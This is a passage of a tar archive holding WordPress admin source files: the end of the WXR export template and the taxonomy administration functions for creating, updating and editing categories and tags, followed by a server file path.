$wpdb->commentmeta WHERE comment_id = %d", $c->comment_ID ) ); foreach ( $c_meta as $meta ) : ?> <wp:commentmeta> <wp:meta_key><?php echo $meta->meta_key; ?></wp:meta_key> <wp:meta_value><?php echo wxr_cdata( $meta->meta_value ); ?></wp:meta_value> </wp:commentmeta> <?php endforeach; ?> </wp:comment> <?php endforeach; ?> </item> <?php } } } ?> </channel> </rss> <?php } taxonomy.php000077700000013721151514577750007167 0ustar00<?php /** * WordPress Taxonomy Administration API. * * @package WordPress * @subpackage Administration */ // // Category // /** * {@internal Missing Short Description}} * * @since 2.0.0 * * @param unknown_type $cat_name * @return unknown */ function category_exists($cat_name, $parent = 0) { $id = term_exists($cat_name, 'category', $parent); if ( is_array($id) ) $id = $id['term_id']; return $id; } /** * {@internal Missing Short Description}} * * @since 2.0.0 * * @param unknown_type $id * @return unknown */ function get_category_to_edit( $id ) { $category = get_term( $id, 'category', OBJECT, 'edit' ); _make_cat_compat( $category ); return $category; } /** * {@internal Missing Short Description}} * * @since 2.0.0 * * @param unknown_type $cat_name * @param unknown_type $parent * @return unknown */ function wp_create_category( $cat_name, $parent = 0 ) { if ( $id = category_exists($cat_name, $parent) ) return $id; return wp_insert_category( array('cat_name' => $cat_name, 'category_parent' => $parent) ); } /** * {@internal Missing Short Description}} * * @since 2.0.0 * * @param unknown_type $categories * @param unknown_type $post_id * @return unknown */ function wp_create_categories($categories, $post_id = '') { $cat_ids = array (); foreach ($categories as $category) { if ($id = category_exists($category)) $cat_ids[] = $id; else if ($id = wp_create_category($category)) $cat_ids[] = $id; } if ( $post_id ) wp_set_post_categories($post_id, $cat_ids); return $cat_ids; } /** * Updates an existing Category or creates a new Category. * * @since 2.0.0 * * @param mixed $catarr See defaults below. Set 'cat_ID' to a non-zero value to update an existing category. The 'taxonomy' key was added in 3.0.0. * @param bool $wp_error Optional, since 2.5.0. Set this to true if the caller handles WP_Error return values. * @return int|object The ID number of the new or updated Category on success. Zero or a WP_Error on failure, depending on param $wp_error. */ function wp_insert_category($catarr, $wp_error = false) { $cat_defaults = array('cat_ID' => 0, 'taxonomy' => 'category', 'cat_name' => '', 'category_description' => '', 'category_nicename' => '', 'category_parent' => ''); $catarr = wp_parse_args($catarr, $cat_defaults); extract($catarr, EXTR_SKIP); if ( trim( $cat_name ) == '' ) { if ( ! $wp_error ) return 0; else return new WP_Error( 'cat_name', __('You did not enter a category name.') ); } $cat_ID = (int) $cat_ID; // Are we updating or creating? if ( !empty ($cat_ID) ) $update = true; else $update = false; $name = $cat_name; $description = $category_description; $slug = $category_nicename; $parent = $category_parent; $parent = (int) $parent; if ( $parent < 0 ) $parent = 0; if ( empty( $parent ) || ! term_exists( $parent, $taxonomy ) || ( $cat_ID && term_is_ancestor_of( $cat_ID, $parent, $taxonomy ) ) ) $parent = 0; $args = compact('name', 'slug', 'parent', 'description'); if ( $update ) $cat_ID = wp_update_term($cat_ID, $taxonomy, $args); else $cat_ID = wp_insert_term($cat_name, $taxonomy, $args); if ( is_wp_error($cat_ID) ) { if ( $wp_error ) return $cat_ID; else return 0; } return $cat_ID['term_id']; } /** * Aliases wp_insert_category() with minimal args. * * If you want to update only some fields of an existing category, call this * function with only the new values set inside $catarr. * * @since 2.0.0 * * @param array $catarr The 'cat_ID' value is required. All other keys are optional. * @return int|bool The ID number of the new or updated Category on success. Zero or FALSE on failure. */ function wp_update_category($catarr) { $cat_ID = (int) $catarr['cat_ID']; if ( isset($catarr['category_parent']) && ($cat_ID == $catarr['category_parent']) ) return false; // First, get all of the original fields $category = get_term( $cat_ID, 'category', ARRAY_A ); _make_cat_compat( $category ); // Escape data pulled from DB. $category = wp_slash($category); // Merge old and new fields with new fields overwriting old ones. $catarr = array_merge($category, $catarr); return wp_insert_category($catarr); } // // Tags // /** * {@internal Missing Short Description}} * * @since 2.3.0 * * @param unknown_type $tag_name * @return unknown */ function tag_exists($tag_name) { return term_exists($tag_name, 'post_tag'); } /** * {@internal Missing Short Description}} * * @since 2.3.0 * * @param unknown_type $tag_name * @return unknown */ function wp_create_tag($tag_name) { return wp_create_term( $tag_name, 'post_tag'); } /** * {@internal Missing Short Description}} * * @since 2.3.0 * * @param unknown_type $post_id * @return unknown */ function get_tags_to_edit( $post_id, $taxonomy = 'post_tag' ) { return get_terms_to_edit( $post_id, $taxonomy); } /** * {@internal Missing Short Description}} * * @since 2.8.0 * * @param unknown_type $post_id * @return unknown */ function get_terms_to_edit( $post_id, $taxonomy = 'post_tag' ) { $post_id = (int) $post_id; if ( !$post_id ) return false; $tags = wp_get_post_terms($post_id, $taxonomy, array()); if ( !$tags ) return false; if ( is_wp_error($tags) ) return $tags; foreach ( $tags as $tag ) $tag_names[] = $tag->name; $tags_to_edit = join( ',', $tag_names ); $tags_to_edit = esc_attr( $tags_to_edit ); /** * Filter the comma-separated list of terms available to edit. * * @since 2.8.0 * * @see get_terms_to_edit() * * @param array $tags_to_edit An array of terms. * @param string $taxonomy The taxonomy for which to retrieve terms. Default 'post_tag'. */ $tags_to_edit = apply_filters( 'terms_to_edit', $tags_to_edit, $taxonomy ); return $tags_to_edit; } /** * {@internal Missing Short Description}} * * @since 2.8.0 * * @param unknown_type $tag_name * @return unknown */ function wp_create_term($tag_name, $taxonomy = 'post_tag') { if ( $id = term_exists($tag_name, $taxonomy) ) return $id; return wp_insert_term($tag_name, $taxonomy); }
/home/www/hallgroupsolutions.com/uploads/iUMI66mV0lWa28iS/../../0a24e/includes.tar